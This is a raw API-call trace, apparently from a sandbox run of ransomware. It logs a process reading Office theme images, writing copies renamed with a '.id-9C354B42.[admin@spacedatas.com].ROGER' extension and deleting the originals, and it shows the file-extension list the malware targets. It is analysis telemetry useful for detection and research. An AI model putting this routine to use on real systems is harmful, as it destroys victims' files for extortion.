[0047.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.848] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.848] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.849] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.849] GetLastError () returned 0x0 [0047.849] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x80f1, lpOverlapped=0x0) returned 1 [0047.851] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x8100, lpOverlapped=0x0) returned 1 [0047.852] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.852] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.852] SetEndOfFile (hFile=0x3a0) returned 1 [0047.852] CloseHandle (hObject=0x3a0) returned 1 [0047.853] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.853] SetEndOfFile (hFile=0x390) returned 1 [0047.854] CloseHandle (hObject=0x390) returned 1 [0047.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.854] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1 [0047.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.854] lstrlenW (lpString=".doc") returned 4 [0047.854] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.854] lstrlenW (lpString=".docx") returned 5 [0047.854] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.854] lstrlenW (lpString=".pdf") returned 4 [0047.854] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.854] lstrlenW (lpString=".xls") returned 4 [0047.854] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.854] lstrlenW (lpString=".xlsx") returned 5 [0047.854] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.854] lstrlenW (lpString=".ppt") returned 4 [0047.854] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.855] lstrlenW (lpString=".zip") returned 4 [0047.855] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.855] lstrlenW (lpString=".rar") returned 4 [0047.855] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.855] lstrlenW (lpString=".bz2") returned 4 [0047.855] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.855] lstrlenW (lpString=".7z") returned 3 [0047.855] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.855] lstrlenW (lpString=".dbf") returned 4 [0047.855] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.855] lstrlenW (lpString=".1cd") returned 4 [0047.855] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.855] lstrlenW (lpString=".jpg") returned 4 [0047.855] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.855] lstrlenW (lpString=".doc") returned 4 [0047.855] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.855] lstrlenW (lpString=".docx") returned 5 [0047.855] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.855] lstrlenW (lpString=".pdf") returned 4 [0047.855] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.855] lstrlenW (lpString=".xls") returned 4 [0047.855] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.855] lstrlenW (lpString=".xlsx") returned 5 [0047.855] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.855] lstrlenW (lpString=".ppt") returned 4 [0047.855] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.856] lstrlenW (lpString=".zip") returned 4 [0047.856] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.856] lstrlenW (lpString=".rar") returned 4 [0047.856] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.856] lstrlenW (lpString=".bz2") returned 4 [0047.856] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.856] lstrlenW (lpString=".7z") returned 3 [0047.856] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.856] lstrlenW (lpString=".dbf") returned 4 [0047.856] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.856] lstrlenW (lpString=".1cd") returned 4 [0047.856] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77 [0047.856] lstrlenW (lpString=".jpg") returned 4 [0047.856] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.856] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.856] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.856] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.857] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1363) returned 1 [0047.857] CloseHandle (hObject=0x390) returned 1 [0047.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0047.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.857] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.858] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.859] GetLastError () returned 0x0 [0047.859] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x553, lpOverlapped=0x0) returned 1 [0047.861] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x560, lpOverlapped=0x0) returned 1 [0047.862] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.862] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.862] SetEndOfFile (hFile=0x3a0) returned 1 [0047.862] CloseHandle (hObject=0x3a0) returned 1 [0047.862] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.862] SetEndOfFile (hFile=0x390) returned 1 [0047.863] CloseHandle (hObject=0x390) returned 1 [0047.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.863] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0047.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.864] lstrlenW (lpString=".doc") returned 4 [0047.864] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.864] lstrlenW (lpString=".docx") returned 5 [0047.864] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.864] lstrlenW (lpString=".pdf") returned 4 [0047.864] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.864] lstrlenW (lpString=".xls") returned 4 [0047.864] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.864] lstrlenW (lpString=".xlsx") returned 5 [0047.864] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.864] lstrlenW (lpString=".ppt") returned 4 [0047.864] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.864] lstrlenW (lpString=".zip") returned 4 [0047.864] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.864] lstrlenW (lpString=".rar") returned 4 [0047.864] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.864] lstrlenW (lpString=".bz2") returned 4 [0047.864] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.864] lstrlenW (lpString=".7z") returned 3 [0047.864] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.864] lstrlenW (lpString=".dbf") returned 4 [0047.864] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.864] lstrlenW (lpString=".1cd") returned 4 [0047.864] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.864] lstrlenW (lpString=".jpg") returned 4 [0047.864] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.865] lstrlenW (lpString=".doc") returned 4 [0047.865] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.865] lstrlenW (lpString=".docx") returned 5 [0047.865] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.865] lstrlenW (lpString=".pdf") returned 4 [0047.865] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.865] lstrlenW (lpString=".xls") returned 4 [0047.865] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.865] lstrlenW (lpString=".xlsx") returned 5 [0047.865] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.865] lstrlenW (lpString=".ppt") returned 4 [0047.865] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.865] lstrlenW (lpString=".zip") returned 4 [0047.865] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.865] lstrlenW (lpString=".rar") returned 4 [0047.865] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.865] lstrlenW (lpString=".bz2") returned 4 [0047.865] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.865] lstrlenW (lpString=".7z") returned 3 [0047.865] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.865] lstrlenW (lpString=".dbf") returned 4 [0047.865] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.865] lstrlenW (lpString=".1cd") returned 4 [0047.865] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0047.865] lstrlenW (lpString=".jpg") returned 4 [0047.866] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.866] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.866] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.866] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=20371) returned 1 [0047.866] CloseHandle (hObject=0x390) returned 1 [0047.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0047.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.866] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.866] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.867] GetLastError () returned 0x0 [0047.867] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x4f93, lpOverlapped=0x0) returned 1 [0047.868] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0047.869] ReadFile (in: hFile=0x390, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.870] WriteFile (in: hFile=0x3a0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.870] SetEndOfFile (hFile=0x3a0) returned 1 [0047.870] CloseHandle (hObject=0x3a0) returned 1 [0047.870] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.870] SetEndOfFile (hFile=0x390) returned 1 [0047.871] CloseHandle (hObject=0x390) returned 1 [0047.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.871] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0047.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.871] lstrlenW (lpString=".doc") returned 4 [0047.871] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.871] lstrlenW (lpString=".docx") returned 5 [0047.871] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.872] lstrlenW (lpString=".pdf") returned 4 [0047.872] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.872] lstrlenW (lpString=".xls") returned 4 [0047.872] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.872] lstrlenW (lpString=".xlsx") returned 5 [0047.872] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.872] lstrlenW (lpString=".ppt") returned 4 [0047.872] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.872] lstrlenW (lpString=".zip") returned 4 [0047.872] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.872] lstrlenW (lpString=".rar") returned 4 [0047.872] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.872] lstrlenW (lpString=".bz2") returned 4 [0047.872] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.872] lstrlenW (lpString=".7z") returned 3 [0047.872] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.872] lstrlenW (lpString=".dbf") returned 4 [0047.872] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.872] lstrlenW (lpString=".1cd") returned 4 [0047.872] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.872] lstrlenW (lpString=".jpg") returned 4 [0047.872] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.872] lstrlenW (lpString=".doc") returned 4 [0047.872] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.872] lstrlenW (lpString=".docx") returned 5 [0047.872] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.873] lstrlenW (lpString=".pdf") returned 4 [0047.873] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.873] lstrlenW (lpString=".xls") returned 4 [0047.873] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.873] lstrlenW (lpString=".xlsx") returned 5 [0047.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.873] lstrlenW (lpString=".ppt") returned 4 [0047.873] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.873] lstrlenW (lpString=".zip") returned 4 [0047.873] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.873] lstrlenW (lpString=".rar") returned 4 [0047.873] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.873] lstrlenW (lpString=".bz2") returned 4 [0047.873] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.873] lstrlenW (lpString=".7z") returned 3 [0047.873] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.873] lstrlenW (lpString=".dbf") returned 4 [0047.873] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.873] lstrlenW (lpString=".1cd") returned 4 [0047.873] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0047.873] lstrlenW (lpString=".jpg") returned 4 [0047.873] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.873] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.873] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0047.874] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1293) returned 1 [0047.874] CloseHandle (hObject=0x390) returned 1 [0047.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft 